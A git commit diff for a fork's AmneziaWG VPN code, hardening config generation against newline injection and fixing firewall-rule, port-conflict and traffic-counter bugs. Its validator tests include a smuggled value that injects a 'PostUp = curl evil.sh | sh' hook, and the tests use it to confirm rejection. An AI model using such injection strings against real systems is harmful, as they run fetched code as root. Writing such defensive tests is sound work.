fix: port the PR #6105 review-round fixes into this fork's own AmneziaWG code

Same 8 findings fixed on upstream-pr/amneziawg, ported here since this
fork's internal/amneziawg + related web/service files predate that PR
branch's own fix-up commits:

1. hostRulesFingerprint now folds in a peer's IPv4 whenever
   ForwardedPorts is set, not only when RouteThroughXray is on, so a
   re-IP forces the bounce needed to move the DNAT rule too.
2. ValidateConfigValue (new, params.go) rejects control characters in
   server/client keys, email and I1 at save time; sanitizeConfigValue
   strips them defensively at .conf-render time.
3. checkForwardedPortsConflict now scopes to node_id IS NULL and takes
   a pre-loaded portConflictContext (loadPortConflictContext), so a
   port used only on another node isn't a false collision and an
   inbound with N clients costs one query instead of N.
4. PostDown commands are now best-effort (appendOrTrue) so an external
   firewall flush can't abort the rest of the teardown chain.
5. The "ip rule list | grep -q" existence check now uses
   grep -c >/dev/null, avoiding a pipefail/SIGPIPE false negative that
   could re-add a duplicate rule.
6. route_egress.go's stale "always present, no opt-in" comment
   corrected to describe the real RouteThroughXray-gated behavior.
   (This fork's genAmneziaWGLink already emits vpn://, and there's no
   upstream-facing docs page here, so neither needed the PR branch's
   Finding 6 docs/link-format changes.)
7. install.sh: Arch's ndppd install uses pacman -Sy, not -Syu, matching
   every other pacman call in the script; should_install_amneziawg
   short-circuits to yes when awg is already installed, so `x-ui
   update` doesn't re-prompt -- this fork's own opt-out-by-default
   philosophy for should_install_amneziawg is unchanged, only the
   redundant-reprompt behavior is fixed.
8. CollectTraffic checks pointer identity before writing back a
   traffic-counter baseline, so a concurrent restart's freshly-reset
   (empty) baseline can't be clobbered by stale pre-restart counters.
   sweepOrphansLocked no longer permanently disables itself on a
   transient os.ReadDir failure.

go build/vet/test and frontend typecheck/lint/build/vitest all pass.
This commit is contained in:
Kuzz007
2026-07-29 01:21:03 +03:00
parent a903ca6793
commit d3da7abdf0
9 changed files with 319 additions and 72 deletions
+12 -1
View File
@@ -175,7 +175,10 @@ install_ndppd() {
dnf install -y ndppd 2>/dev/null || yum install -y ndppd 2>/dev/null || true dnf install -y ndppd 2>/dev/null || yum install -y ndppd 2>/dev/null || true
;; ;;
arch | manjaro | parch) arch | manjaro | parch)
pacman -Syu --noconfirm ndppd 2>/dev/null || true # -Sy (not -Syu): every other pacman call in this script only
# refreshes the package database, never does a full system
# upgrade as a side effect of installing one package.
pacman -Sy --noconfirm ndppd 2>/dev/null || true
;; ;;
esac esac
} }
@@ -219,11 +222,19 @@ enable_tproxy_support() {
# forwarding it brings. # forwarding it brings.
# #
# should_install_amneziawg decides whether to run install_amneziawg at all. # should_install_amneziawg decides whether to run install_amneziawg at all.
# Short-circuits to yes when awg is already on PATH, so `x-ui update` on a
# host that already has it doesn't re-prompt an admin who already answered
# this once -- install_amneziawg's own case statement would just skip the
# actual DKMS/package work again anyway, but the interactive prompt itself
# still fired every run, and answering "n" out of habit (since AmneziaWG is
# already installed and working) skipped the harmless modprobe/ndppd/sysctl
# refresh that same case statement also does unconditionally.
# XUI_INSTALL_AMNEZIAWG=true/false answers it outright (for non-interactive/ # XUI_INSTALL_AMNEZIAWG=true/false answers it outright (for non-interactive/
# cloud-init runs); otherwise an interactive install prompts (default: yes), # cloud-init runs); otherwise an interactive install prompts (default: yes),
# and a non-interactive one with nothing to answer the prompt defaults to # and a non-interactive one with nothing to answer the prompt defaults to
# installing it too. # installing it too.
should_install_amneziawg() { should_install_amneziawg() {
command -v awg &>/dev/null && return 0
case "${XUI_INSTALL_AMNEZIAWG:-}" in case "${XUI_INSTALL_AMNEZIAWG:-}" in
true | TRUE | 1 | yes | y | Y) return 0 ;; true | TRUE | 1 | yes | y | Y) return 0 ;;
false | FALSE | 0 | no | n | N) return 1 ;; false | FALSE | 0 | no | n | N) return 1 ;;
+86 -21
View File
@@ -171,24 +171,28 @@ func (inst Instance) peersFingerprint() string {
} }
// hostRulesFingerprint identifies per-peer state that only ever takes effect // hostRulesFingerprint identifies per-peer state that only ever takes effect
// through PostUp/PostDown shell rules — forwarded ports; when // through PostUp/PostDown shell rules — forwarded ports (whose DNAT rules
// RouteThroughXray is on, every peer's IPv4 address (the TPROXY rule into // are keyed on the peer's IPv4 address, the same as the TPROXY rule below);
// this instance's own Xray bridge is keyed on it); and when IPv6 is enabled, // when RouteThroughXray is on, every peer's IPv4 address (the TPROXY rule
// the peer's IPv6 address (its NDP-proxy PostUp/PostDown entry) — rather // into this instance's own Xray bridge is keyed on it); and when IPv6 is
// than the WireGuard peer table itself. It is checked separately from // enabled, the peer's IPv6 address (its NDP-proxy PostUp/PostDown entry) —
// rather than the WireGuard peer table itself. It is checked separately from
// peersFingerprint because `awg syncconf` never re-runs PostUp/PostDown, so // peersFingerprint because `awg syncconf` never re-runs PostUp/PostDown, so
// a change here must force a full interface bounce (ensureRestart) to // a change here must force a full interface bounce (ensureRestart) to
// actually take effect, unlike a key-only change that syncconf can apply in // actually take effect, unlike a key-only change that syncconf can apply in
// place. The IPv4/IPv6 components are each included only when the feature // place. The IPv4 component is included whenever RouteThroughXray is on OR
// that actually reads them is on: including them unconditionally would force // the peer has forwarded ports — either one means PostUp/PostDown text is
// a full bounce on every peer add/remove/re-IP even for an instance whose // keyed on that address, so a re-IP with either feature off must still force
// PostUp/PostDown text never changes as a result, permanently losing the // a bounce (otherwise the old DNAT/TPROXY rule survives pointed at an
// syncconf fast path for no reason. // address the reconciler is now free to hand to a different peer). The IPv6
// component stays IPv6Enabled-gated only, matching the single feature that
// reads it. Skipping both entirely when neither applies preserves the
// syncconf fast path for a plain instance's peer add/remove/re-IP.
func (inst Instance) hostRulesFingerprint() string { func (inst Instance) hostRulesFingerprint() string {
pairs := make([]string, 0, len(inst.Peers)) pairs := make([]string, 0, len(inst.Peers))
for _, p := range inst.Peers { for _, p := range inst.Peers {
v := fmt.Sprintf("%s=fwd:%s", p.Email, p.ForwardedPorts) v := fmt.Sprintf("%s=fwd:%s", p.Email, p.ForwardedPorts)
if inst.RouteThroughXray { if inst.RouteThroughXray || p.ForwardedPorts != "" {
v += ";ip:" + FirstIPv4(p.AllowedIPs) v += ";ip:" + FirstIPv4(p.AllowedIPs)
} }
if inst.IPv6Enabled { if inst.IPv6Enabled {
@@ -371,11 +375,15 @@ func (m *Manager) sweepOrphansLocked(want map[int]struct{}) {
if m.swept { if m.swept {
return return
} }
m.swept = true
entries, err := os.ReadDir(configDir) entries, err := os.ReadDir(configDir)
if err != nil { if err != nil {
// Left false on purpose: a transient error (the directory not existing
// yet, a momentary filesystem hiccup) should let the next Reconcile
// tick retry the sweep, rather than permanently disabling it for this
// process's whole lifetime over a failure that may not recur.
return return
} }
m.swept = true
names := make([]string, 0, len(entries)) names := make([]string, 0, len(entries))
for _, entry := range entries { for _, entry := range entries {
if !entry.IsDir() { if !entry.IsDir() {
@@ -501,13 +509,18 @@ func (m *Manager) CollectTraffic() ([]Traffic, []string) {
id int id int
inst Instance inst Instance
last map[string]peerCounters last map[string]peerCounters
// entry is the exact *managed snapshotted below, kept so the
// write-back can detect a concurrent ensureRestart/ensureReload
// (which replaces the map entry with a fresh pointer, see
// ensureLocked) that happened while getPeerStats ran lock-free.
entry *managed
} }
m.mu.Lock() m.mu.Lock()
snaps := make([]snap, 0, len(m.ifaces)) snaps := make([]snap, 0, len(m.ifaces))
for id, cur := range m.ifaces { for id, cur := range m.ifaces {
lastCopy := make(map[string]peerCounters, len(cur.last)) lastCopy := make(map[string]peerCounters, len(cur.last))
maps.Copy(lastCopy, cur.last) maps.Copy(lastCopy, cur.last)
snaps = append(snaps, snap{id: id, inst: cur.inst, last: lastCopy}) snaps = append(snaps, snap{id: id, inst: cur.inst, last: lastCopy, entry: cur})
} }
m.mu.Unlock() m.mu.Unlock()
@@ -553,7 +566,16 @@ func (m *Manager) CollectTraffic() ([]Traffic, []string) {
} }
m.mu.Lock() m.mu.Lock()
if cur, ok := m.ifaces[s.id]; ok { // Only write back if this is still the exact entry snapshotted above:
// getPeerStats ran without the lock held, so ensureLocked could have
// restarted (or reloaded) this same interface in the meantime,
// replacing the map entry with a fresh *managed and, for a restart,
// resetting last to empty (kernel counters zero on down+up). Writing
// newLast back over that unconditionally would silently resurrect the
// pre-restart counters as the new baseline, making the next poll
// compute a negative delta and clamp a real poll's worth of traffic
// to zero.
if cur, ok := m.ifaces[s.id]; ok && cur == s.entry {
cur.last = newLast cur.last = newLast
} }
m.mu.Unlock() m.mu.Unlock()
@@ -570,7 +592,7 @@ func generateServerConfig(inst Instance) string {
var b strings.Builder var b strings.Builder
b.WriteString("[Interface]\n") b.WriteString("[Interface]\n")
fmt.Fprintf(&b, "PrivateKey = %s\n", inst.PrivateKey) fmt.Fprintf(&b, "PrivateKey = %s\n", sanitizeConfigValue(inst.PrivateKey))
if len(inst.Address) > 0 { if len(inst.Address) > 0 {
fmt.Fprintf(&b, "Address = %s\n", strings.Join(inst.Address, ", ")) fmt.Fprintf(&b, "Address = %s\n", strings.Join(inst.Address, ", "))
} }
@@ -591,11 +613,11 @@ func generateServerConfig(inst Instance) string {
for _, p := range inst.Peers { for _, p := range inst.Peers {
b.WriteString("\n[Peer]\n") b.WriteString("\n[Peer]\n")
if p.Email != "" { if p.Email != "" {
fmt.Fprintf(&b, "# %s\n", p.Email) fmt.Fprintf(&b, "# %s\n", sanitizeConfigValue(p.Email))
} }
fmt.Fprintf(&b, "PublicKey = %s\n", p.PublicKey) fmt.Fprintf(&b, "PublicKey = %s\n", sanitizeConfigValue(p.PublicKey))
if p.PresharedKey != "" { if p.PresharedKey != "" {
fmt.Fprintf(&b, "PresharedKey = %s\n", p.PresharedKey) fmt.Fprintf(&b, "PresharedKey = %s\n", sanitizeConfigValue(p.PresharedKey))
} }
fmt.Fprintf(&b, "AllowedIPs = %s\n", strings.Join(p.AllowedIPs, ", ")) fmt.Fprintf(&b, "AllowedIPs = %s\n", strings.Join(p.AllowedIPs, ", "))
} }
@@ -603,6 +625,25 @@ func generateServerConfig(inst Instance) string {
return b.String() return b.String()
} }
// sanitizeConfigValue strips newlines, carriage returns, and other control
// characters from a value about to be interpolated into the generated
// .conf. ValidateConfigValue rejects these at save time, but a row that
// predates that validation (an upgrade, a node sync, a restored backup, a
// direct DB edit) would otherwise still reach awg-quick's parser, where a
// newline lets a later line re-open a new section and smuggle in a hook
// awg-quick executes as root. This is the render-time backstop; it
// silently drops the offending bytes rather than failing the whole config
// build, matching how hOrDefault degrades a blank H value instead of
// emitting an invalid line.
func sanitizeConfigValue(v string) string {
return strings.Map(func(r rune) rune {
if r == '\n' || r == '\r' || r < 0x20 || r == 0x7f {
return -1
}
return r
}, v)
}
// writeObfuscation writes the AmneziaWG obfuscation parameters that must be // writeObfuscation writes the AmneziaWG obfuscation parameters that must be
// identical on both ends of a tunnel. S3/S4 and I1 are emitted only when set, // identical on both ends of a tunnel. S3/S4 and I1 are emitted only when set,
// so a plain 1.x-equivalent set (S3=S4=0, I1="") produces the classic // so a plain 1.x-equivalent set (S3=S4=0, I1="") produces the classic
@@ -625,7 +666,7 @@ func writeObfuscation(b *strings.Builder, o Obfuscation20) {
fmt.Fprintf(b, "H3 = %s\n", hOrDefault(o.H3, "3")) fmt.Fprintf(b, "H3 = %s\n", hOrDefault(o.H3, "3"))
fmt.Fprintf(b, "H4 = %s\n", hOrDefault(o.H4, "4")) fmt.Fprintf(b, "H4 = %s\n", hOrDefault(o.H4, "4"))
if o.I1 != "" { if o.I1 != "" {
fmt.Fprintf(b, "I1 = %s\n", o.I1) fmt.Fprintf(b, "I1 = %s\n", sanitizeConfigValue(o.I1))
} }
} }
@@ -752,7 +793,13 @@ func defaultPostUpDown(inst Instance, ext string) (postUp, postDown string) {
// regardless of which firewall manager (ufw, firewalld, bare // regardless of which firewall manager (ufw, firewalld, bare
// iptables) owns the rest of that chain. // iptables) owns the rest of that chain.
up = append(up, up = append(up,
fmt.Sprintf("ip rule list | grep -q 'fwmark %#x lookup %d' || ip rule add fwmark %#x lookup %d", EgressFwmark, EgressTable, EgressFwmark, EgressTable), // grep -c (not -q): -q exits as soon as it matches, so "ip rule
// list" can take SIGPIPE; under `set -o pipefail` the pipeline then
// reports 141 even though the rule WAS found, and "ip rule add"
// below runs anyway -- reintroducing the exact duplicate-rule
// accumulation this existence check exists to prevent. -c reads
// every line to completion and still exits 1 on no match.
fmt.Sprintf("ip rule list | grep -c 'fwmark %#x lookup %d' >/dev/null || ip rule add fwmark %#x lookup %d", EgressFwmark, EgressTable, EgressFwmark, EgressTable),
fmt.Sprintf("ip route replace local 0.0.0.0/0 dev lo table %d", EgressTable), fmt.Sprintf("ip route replace local 0.0.0.0/0 dev lo table %d", EgressTable),
fmt.Sprintf("iptables -C INPUT -m mark --mark %#x -j ACCEPT 2>/dev/null || iptables -I INPUT 1 -m mark --mark %#x -j ACCEPT", EgressFwmark, EgressFwmark), fmt.Sprintf("iptables -C INPUT -m mark --mark %#x -j ACCEPT 2>/dev/null || iptables -I INPUT 1 -m mark --mark %#x -j ACCEPT", EgressFwmark, EgressFwmark),
) )
@@ -760,7 +807,25 @@ func defaultPostUpDown(inst Instance, ext string) (postUp, postDown string) {
} }
up = append(up, "sysctl -w net.ipv4.ip_forward=1") up = append(up, "sysctl -w net.ipv4.ip_forward=1")
return strings.Join(up, "; "), strings.Join(down, "; ") return strings.Join(up, "; "), strings.Join(appendOrTrue(down), "; ")
}
// appendOrTrue suffixes every command with " || true", making the whole
// PostDown chain best-effort. wg-quick/awg-quick joins hook commands with
// "; " and runs the result under `set -e -o pipefail`, so the first non-zero
// command aborts everything after it. On teardown that matters: if
// something has already flushed the filter table out from under the
// interface (a ufw/firewalld reload, fail2ban rebuilding its chains), the
// first "-D" fails and every command after it — including the nat-table DNAT
// deletes a flush does NOT remove — is skipped, and the next PostUp re-adds
// them, accumulating one set per bounce. PostUp is left alone: a real setup
// failure there should still surface, not be silently swallowed.
func appendOrTrue(cmds []string) []string {
out := make([]string, len(cmds))
for i, c := range cmds {
out[i] = c + " || true"
}
return out
} }
// firstAddress returns the first configured interface address, used as the // firstAddress returns the first configured interface address, used as the
+42 -2
View File
@@ -267,6 +267,19 @@ func TestHostRulesFingerprintCoversForwardedPortsAndPeerIP(t *testing.T) {
t.Fatal("with RouteThroughXray off, changing a peer's IP must NOT change the host-rules fingerprint") t.Fatal("with RouteThroughXray off, changing a peer's IP must NOT change the host-rules fingerprint")
} }
// A peer with forwarded ports has its DNAT rule keyed on its IPv4 address
// too, regardless of RouteThroughXray -- re-IPing it must force a bounce,
// or the old DNAT rule survives pointed at an address a different peer
// can be handed next.
forwardedReIPed := baseInstance()
forwardedReIPed.Peers[0].ForwardedPorts = "80,443"
forwardedBase := baseInstance()
forwardedBase.Peers[0].ForwardedPorts = "80,443"
forwardedReIPed.Peers[0].AllowedIPs = []string{"10.8.1.250/32"}
if forwardedBase.hostRulesFingerprint() == forwardedReIPed.hostRulesFingerprint() {
t.Fatal("with RouteThroughXray off but ForwardedPorts set, changing a peer's IP must change the host-rules fingerprint -- its DNAT rule is keyed on that IP")
}
// RouteThroughXray on: now the TPROXY rule really is keyed on the IP. // RouteThroughXray on: now the TPROXY rule really is keyed on the IP.
routed := baseInstance() routed := baseInstance()
routed.RouteThroughXray = true routed.RouteThroughXray = true
@@ -383,8 +396,12 @@ func TestDefaultPostUpDownEmitsTproxyForEveryPeerWhenRouteThroughXrayOn(t *testi
if !strings.Contains(up, fmt.Sprintf("ip rule add fwmark %#x", EgressFwmark)) { if !strings.Contains(up, fmt.Sprintf("ip rule add fwmark %#x", EgressFwmark)) {
t.Errorf("expected the shared policy route to be added once in PostUp, got:\n%s", up) t.Errorf("expected the shared policy route to be added once in PostUp, got:\n%s", up)
} }
if wantCheck := fmt.Sprintf("ip rule list | grep -q 'fwmark %#x lookup %d'", EgressFwmark, EgressTable); !strings.Contains(up, wantCheck) { // grep -c, not -q: -q's early exit can SIGPIPE "ip rule list" and, under
t.Errorf("expected an existence check before 'ip rule add', so repeated bounces don't accumulate duplicate rules, got:\n%s", up) // pipefail, make the existence check itself report failure even when the
// rule was found -- which would re-run "ip rule add" and reintroduce the
// exact duplicate this check exists to prevent.
if wantCheck := fmt.Sprintf("ip rule list | grep -c 'fwmark %#x lookup %d' >/dev/null", EgressFwmark, EgressTable); !strings.Contains(up, wantCheck) {
t.Errorf("expected a pipefail-safe existence check before 'ip rule add', so repeated bounces don't accumulate duplicate rules, got:\n%s", up)
} }
if strings.Contains(down, "ip rule") || strings.Contains(down, "ip route") { if strings.Contains(down, "ip rule") || strings.Contains(down, "ip route") {
t.Error("the shared policy route must never be removed in PostDown -- other instances may still need it") t.Error("the shared policy route must never be removed in PostDown -- other instances may still need it")
@@ -430,6 +447,29 @@ func TestDefaultPostUpDownAddsInputAcceptForFwmarkWhenRouteThroughXrayOn(t *test
} }
} }
// PostDown is joined with "; " and run under `set -e`, so one command that
// fails because something already flushed the firewall state out from under
// the interface (a ufw/firewalld reload) would otherwise abort every command
// after it -- including the nat-table DNAT deletes a filter-table flush does
// NOT remove, which then survive and accumulate across bounces. Every
// teardown command must be best-effort; PostUp must not be.
func TestDefaultPostUpDownMakesEveryTeardownCommandBestEffort(t *testing.T) {
inst := baseInstance() // two peers, a@x and b@x
inst.RouteThroughXray = true
inst.IPv6Enabled = true
inst.Peers[0].ForwardedPorts = "80,443"
up, down := defaultPostUpDown(inst, "eth0")
for _, cmd := range strings.Split(down, "; ") {
if !strings.HasSuffix(cmd, "|| true") {
t.Errorf("every PostDown command must end with '|| true' so a flushed firewall doesn't abort the rest, got: %q", cmd)
}
}
if strings.Contains(up, "|| true") {
t.Error("PostUp must stay strict -- a real setup failure there should surface, not be silently swallowed")
}
}
func TestGenerateServerConfigContainsExpectedLines(t *testing.T) { func TestGenerateServerConfigContainsExpectedLines(t *testing.T) {
inst := baseInstance() inst := baseInstance()
inst.ExternalInterface = "eth0" inst.ExternalInterface = "eth0"
+19
View File
@@ -189,6 +189,25 @@ func ValidateSubnetIPv4(subnetIP string, subnetCIDR int) error {
return nil return nil
} }
// ValidateConfigValue rejects a value containing a newline, carriage return,
// or other control character before it's saved. PrivateKey/PublicKey/I1 on
// the server block, and Email/PublicKey/PreSharedKey per client, all get
// interpolated verbatim into the generated .conf by generateServerConfig; a
// newline in any of them lets a later line re-open a new [Interface]/[Peer]
// section, and awg-quick's parser collects a following "PostUp = ..." line
// into a hook it executes as root on the next apply — the same class this
// package already closes for ExternalInterface/IPv6ExternalInterface (see
// ValidateInterfaceName) and SubnetIP (see ValidateSubnetIPv4). field names
// the value in the returned error, e.g. "email" or "publicKey".
func ValidateConfigValue(field, v string) error {
for _, r := range v {
if r == '\n' || r == '\r' || r < 0x20 || r == 0x7f {
return fmt.Errorf("invalid %s: control characters are not allowed", field)
}
}
return nil
}
// validateHValue checks one H parameter: empty, a single uint32, or // validateHValue checks one H parameter: empty, a single uint32, or
// "low-high" with 0 <= low <= high <= uint32 max. // "low-high" with 0 <= low <= high <= uint32 max.
func validateHValue(v string) error { func validateHValue(v string) error {
+31
View File
@@ -211,3 +211,34 @@ func TestValidateSubnetIPv4RejectsMalformedOrInjectedValues(t *testing.T) {
} }
} }
} }
func TestValidateConfigValueAcceptsPlausibleValues(t *testing.T) {
for _, v := range []string{"", "user@example.com", "MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=", "<r 148>"} {
if err := ValidateConfigValue("email", v); err != nil {
t.Errorf("ValidateConfigValue(%q) rejected a plausible value: %v", v, err)
}
}
}
func TestValidateConfigValueRejectsControlCharacters(t *testing.T) {
cases := []string{
"a@x\nPostUp = curl evil.sh | sh",
"a@x\r\n[Interface]",
"tab\there",
"a@x\x7f",
}
for _, v := range cases {
if err := ValidateConfigValue("email", v); err == nil {
t.Errorf("ValidateConfigValue(%q) must be rejected", v)
}
}
}
func TestSanitizeConfigValueStripsControlCharactersOnly(t *testing.T) {
if got := sanitizeConfigValue("a@x\nPostUp = evil\r\n"); got != "a@xPostUp = evil" {
t.Errorf("sanitizeConfigValue must drop newlines/CR without altering the rest, got %q", got)
}
if got := sanitizeConfigValue("plain-value_123"); got != "plain-value_123" {
t.Errorf("sanitizeConfigValue must not touch an already-clean value, got %q", got)
}
}
+9 -8
View File
@@ -6,17 +6,18 @@ import (
) )
// EgressBasePort is the first loopback port used for an AmneziaWG inbound's // EgressBasePort is the first loopback port used for an AmneziaWG inbound's
// own Xray TPROXY bridge. Every enabled inbound gets one bridge, always // own Xray TPROXY bridge. The bridge is opt-in per inbound, gated on
// present by default (no opt-in flag): defaultPostUpDown's TPROXY rules // Instance.RouteThroughXray (off by default): only when it's on does
// redirect every peer's traffic there unconditionally, and // defaultPostUpDown's TPROXY rules redirect a peer's traffic there, and only
// internal/web/service's injectAmneziawgEgress creates the matching // then does internal/web/service's injectAmneziawgEgress create the matching
// dokodemo-door inbound, tagged with the AmneziaWG inbound's own real tag so // dokodemo-door inbound, tagged with the AmneziaWG inbound's own real tag so
// it's already selectable in the panel's stock Routing page (the same // it's already selectable in the panel's stock Routing page (the same
// mechanism that already makes an mtproto inbound's own bridge routable // mechanism that already makes an mtproto inbound's own bridge routable
// there — see injectMtprotoEgress). Whether — and where — that traffic // there — see injectMtprotoEgress). A plain AmneziaWG tunnel with routing
// actually goes anywhere beyond Xray's default routing is entirely up to // left off never depends on Xray being up at all. Whether — and where —
// whatever rules the admin adds on that page; this package and // routed traffic actually goes anywhere beyond Xray's default routing is
// injectAmneziawgEgress never generate a routing rule themselves. // entirely up to whatever rules the admin adds on that page; this package
// and injectAmneziawgEgress never generate a routing rule themselves.
// //
// EgressPortForInbound derives each inbound's own port deterministically // EgressPortForInbound derives each inbound's own port deterministically
// from its id, so the two independent reconcile loops (this package's // from its id, so the two independent reconcile loops (this package's
+12 -5
View File
@@ -368,6 +368,13 @@ func (s *ClientService) addInboundClient(inboundSvc *InboundService, data *model
} }
} }
var portCtx portConflictContext
if oldInbound.Protocol == model.AmneziaWG {
portCtx, err = inboundSvc.loadPortConflictContext()
if err != nil {
return false, err
}
}
for _, client := range clients { for _, client := range clients {
if strings.TrimSpace(client.Email) == "" { if strings.TrimSpace(client.Email) == "" {
return false, common.NewError("client email is required") return false, common.NewError("client email is required")
@@ -402,9 +409,7 @@ func (s *ClientService) addInboundClient(inboundSvc *InboundService, data *model
} }
} }
if oldInbound.Protocol == model.AmneziaWG { if oldInbound.Protocol == model.AmneziaWG {
if hit, err := inboundSvc.checkForwardedPortsConflict(client.ForwardedPorts); err != nil { if hit := inboundSvc.checkForwardedPortsConflict(portCtx, client.ForwardedPorts); hit != "" {
return false, err
} else if hit != "" {
return false, common.NewError("amneziawg: forwardedPorts collides with", hit) return false, common.NewError("amneziawg: forwardedPorts collides with", hit)
} }
} }
@@ -660,9 +665,11 @@ func (s *ClientService) UpdateInboundClient(inboundSvc *InboundService, data *mo
} }
} }
if oldInbound.Protocol == model.AmneziaWG { if oldInbound.Protocol == model.AmneziaWG {
if hit, err := inboundSvc.checkForwardedPortsConflict(clients[0].ForwardedPorts); err != nil { portCtx, err := inboundSvc.loadPortConflictContext()
if err != nil {
return false, err return false, err
} else if hit != "" { }
if hit := inboundSvc.checkForwardedPortsConflict(portCtx, clients[0].ForwardedPorts); hit != "" {
return false, common.NewError("amneziawg: forwardedPorts collides with", hit) return false, common.NewError("amneziawg: forwardedPorts collides with", hit)
} }
} }
+62 -20
View File
@@ -200,13 +200,33 @@ func (s *InboundService) normalizeAmneziaWGSettings(inbound *model.Inbound) erro
if err := amneziawg.ValidateInterfaceName(parsed.Server.IPv6ExternalInterface); err != nil { if err := amneziawg.ValidateInterfaceName(parsed.Server.IPv6ExternalInterface); err != nil {
return fmt.Errorf("amneziawg: ipv6ExternalInterface: %w", err) return fmt.Errorf("amneziawg: ipv6ExternalInterface: %w", err)
} }
if err := amneziawg.ValidateConfigValue("privateKey", parsed.Server.PrivateKey); err != nil {
return fmt.Errorf("amneziawg: %w", err)
}
if err := amneziawg.ValidateConfigValue("publicKey", parsed.Server.PublicKey); err != nil {
return fmt.Errorf("amneziawg: %w", err)
}
if err := amneziawg.ValidateConfigValue("i1", parsed.Server.I1); err != nil {
return fmt.Errorf("amneziawg: %w", err)
}
portCtx, err := s.loadPortConflictContext()
if err != nil {
return err
}
for _, c := range parsed.Clients { for _, c := range parsed.Clients {
if hit, err := s.checkForwardedPortsConflict(c.ForwardedPorts); err != nil { if hit := s.checkForwardedPortsConflict(portCtx, c.ForwardedPorts); hit != "" {
return err
} else if hit != "" {
return fmt.Errorf("amneziawg: client %q forwardedPorts collides with %s", c.Email, hit) return fmt.Errorf("amneziawg: client %q forwardedPorts collides with %s", c.Email, hit)
} }
if err := amneziawg.ValidateConfigValue("email", c.Email); err != nil {
return fmt.Errorf("amneziawg: %w", err)
}
if err := amneziawg.ValidateConfigValue("publicKey", c.PublicKey); err != nil {
return fmt.Errorf("amneziawg: client %q: %w", c.Email, err)
}
if err := amneziawg.ValidateConfigValue("preSharedKey", c.PreSharedKey); err != nil {
return fmt.Errorf("amneziawg: client %q: %w", c.Email, err)
}
} }
bs, err := json.MarshalIndent(parsed, "", " ") bs, err := json.MarshalIndent(parsed, "", " ")
@@ -217,25 +237,47 @@ func (s *InboundService) normalizeAmneziaWGSettings(inbound *model.Inbound) erro
return nil return nil
} }
// portConflictContext caches the state checkForwardedPortsConflict needs —
// the panel's own port and this host's enabled inbound ports — so validating
// N clients in one save (normalizeAmneziaWGSettings, or a bulk client add)
// costs one query total instead of N. Load it once with
// loadPortConflictContext and pass it to every checkForwardedPortsConflict
// call in that batch.
type portConflictContext struct {
webPort int
inbounds []*model.Inbound
}
// loadPortConflictContext loads the panel's own port and every enabled
// inbound hosted on THIS panel (node_id IS NULL) — an inbound hosted on a
// different node listens on that node's own host, never this one, so it can
// never collide with a DNAT rule this process installs.
func (s *InboundService) loadPortConflictContext() (portConflictContext, error) {
var ctx portConflictContext
if webPort, err := (&SettingService{}).GetPort(); err == nil {
ctx.webPort = webPort
}
err := database.GetDB().Model(model.Inbound{}).
Where("enable = ? AND node_id IS NULL", true).
Find(&ctx.inbounds).Error
return ctx, err
}
// checkForwardedPortsConflict reports whether a client's ForwardedPorts spec // checkForwardedPortsConflict reports whether a client's ForwardedPorts spec
// covers the panel's own web port or any enabled inbound's own listen port. // covers the panel's own web port or any of this host's own enabled inbound
// portForwardLines has no destination restriction and nothing else checks // listen ports. portForwardLines has no destination restriction and nothing
// this, so a collision here would silently DNAT traffic meant for the panel // else checks this, so a collision here would silently DNAT traffic meant
// or another protocol straight to the tunnel client instead. Returns a // for the panel or another protocol straight to the tunnel client instead.
// human-readable description of the first collision found, or "" when there // Returns a human-readable description of the first collision found, or ""
// is none. // when there is none.
func (s *InboundService) checkForwardedPortsConflict(forwardedPorts string) (string, error) { func (s *InboundService) checkForwardedPortsConflict(ctx portConflictContext, forwardedPorts string) string {
if forwardedPorts == "" { if forwardedPorts == "" {
return "", nil return ""
} }
if webPort, err := (&SettingService{}).GetPort(); err == nil && amneziawg.ForwardedPortsInclude(forwardedPorts, webPort) { if ctx.webPort > 0 && amneziawg.ForwardedPortsInclude(forwardedPorts, ctx.webPort) {
return fmt.Sprintf("the panel's own port (%d)", webPort), nil return fmt.Sprintf("the panel's own port (%d)", ctx.webPort)
} }
var inbounds []*model.Inbound for _, ib := range ctx.inbounds {
if err := database.GetDB().Model(model.Inbound{}).Where("enable = ?", true).Find(&inbounds).Error; err != nil {
return "", err
}
for _, ib := range inbounds {
if !amneziawg.ForwardedPortsInclude(forwardedPorts, ib.Port) { if !amneziawg.ForwardedPortsInclude(forwardedPorts, ib.Port) {
continue continue
} }
@@ -243,7 +285,7 @@ func (s *InboundService) checkForwardedPortsConflict(forwardedPorts string) (str
if name == "" { if name == "" {
name = ib.Tag name = ib.Tag
} }
return fmt.Sprintf("inbound '%s' (#%d, port %d)", name, ib.Id, ib.Port), nil return fmt.Sprintf("inbound '%s' (#%d, port %d)", name, ib.Id, ib.Port)
} }
return "", nil return ""
} }
+46 -15
View File
@@ -11,21 +11,25 @@ import (
func TestCheckForwardedPortsConflict_EmptySpecNoConflict(t *testing.T) { func TestCheckForwardedPortsConflict_EmptySpecNoConflict(t *testing.T) {
setupConflictDB(t) setupConflictDB(t)
svc := &InboundService{} svc := &InboundService{}
hit, err := svc.checkForwardedPortsConflict("") ctx, err := svc.loadPortConflictContext()
if err != nil || hit != "" { if err != nil {
t.Fatalf("an empty spec must never conflict; got hit=%q err=%v", hit, err) t.Fatalf("loadPortConflictContext: %v", err)
}
if hit := svc.checkForwardedPortsConflict(ctx, ""); hit != "" {
t.Fatalf("an empty spec must never conflict; got hit=%q", hit)
} }
} }
func TestCheckForwardedPortsConflict_CollidesWithPanelPort(t *testing.T) { func TestCheckForwardedPortsConflict_CollidesWithPanelPort(t *testing.T) {
setupConflictDB(t) setupConflictDB(t)
svc := &InboundService{} svc := &InboundService{}
ctx, err := svc.loadPortConflictContext()
if err != nil {
t.Fatalf("loadPortConflictContext: %v", err)
}
// getString falls back to defaultValueMap's "webPort": "2053" on a fresh // getString falls back to defaultValueMap's "webPort": "2053" on a fresh
// DB with no explicit setting row. // DB with no explicit setting row.
hit, err := svc.checkForwardedPortsConflict("2053") hit := svc.checkForwardedPortsConflict(ctx, "2053")
if err != nil {
t.Fatalf("checkForwardedPortsConflict: %v", err)
}
if !strings.Contains(hit, "panel") { if !strings.Contains(hit, "panel") {
t.Fatalf("expected a collision naming the panel's own port, got %q", hit) t.Fatalf("expected a collision naming the panel's own port, got %q", hit)
} }
@@ -36,10 +40,11 @@ func TestCheckForwardedPortsConflict_CollidesWithEnabledInboundPort(t *testing.T
